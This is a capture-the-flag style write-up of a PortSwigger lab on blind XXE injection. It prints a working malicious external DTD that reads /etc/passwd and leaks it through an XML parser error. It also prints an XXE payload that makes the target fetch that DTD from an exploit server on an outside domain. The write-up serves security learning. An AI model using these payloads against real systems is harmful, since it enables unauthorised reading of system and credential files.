Exploiting blind XXE to retrieve data via error messages | Dec 25, 2022
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Exploiting blind XXE to retrieve data via error messages! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab has a “Check stock” feature that parses XML input but does not display the result.
To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd
file.
The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.
Exploitation
Home page:
In the previous labs, we found that there is an XXE injection vulnerability in the “Check stock” feature, which parses XML input.
Original XML data:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
Invalid XML data:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>a</productId>
<storeId>1</storeId>
</stockCheck>
As you can see, it does not display the result, which indicates that this is a blind XXE injection.
To exploit that, we can trigger an XML parsing error, and the error message contains the sensitive data, like /etc/passwd
.
In the lab, we have an exploit server, which allows us to host a malicious external DTD:
Our malicious external DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///errorpls/%file;'>">
%eval;
%error;
Which will:
- Define an XML parameter entity called
file
, containing the contents of the/etc/passwd
file. - Define an XML parameter entity called
eval
, containing a dynamic declaration of another XML parameter entity callederror
. Theerror
entity will be evaluated by loading a nonexistent file whose name contains the value of thefile
entity. - Use the
eval
entity, which causes the dynamic declaration of theerror
entity to be performed. - Use the
error
entity, so that its value is evaluated by attempting to load the nonexistent file, resulting in an error message containing the name of the nonexistent file, which is the contents of the/etc/passwd
file.
Next, to let the target server fetches our malicious external DTD, we can send the following XXE payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % xxe SYSTEM "https://exploit-0a23009a04971e0cc67c8e9a01d90009.exploit-server.net/exploit.dtd"> %xxe;]>
<stockCheck>
<productId>a</productId>
<storeId>1</storeId>
</stockCheck>
Which will:
- Define an an XML parameter entity called
xxe
, which fetches our exploit server’s malicious DTD and interpret it inline
We did it!
What we’ve learned:
- Exploiting blind XXE to retrieve data via error messages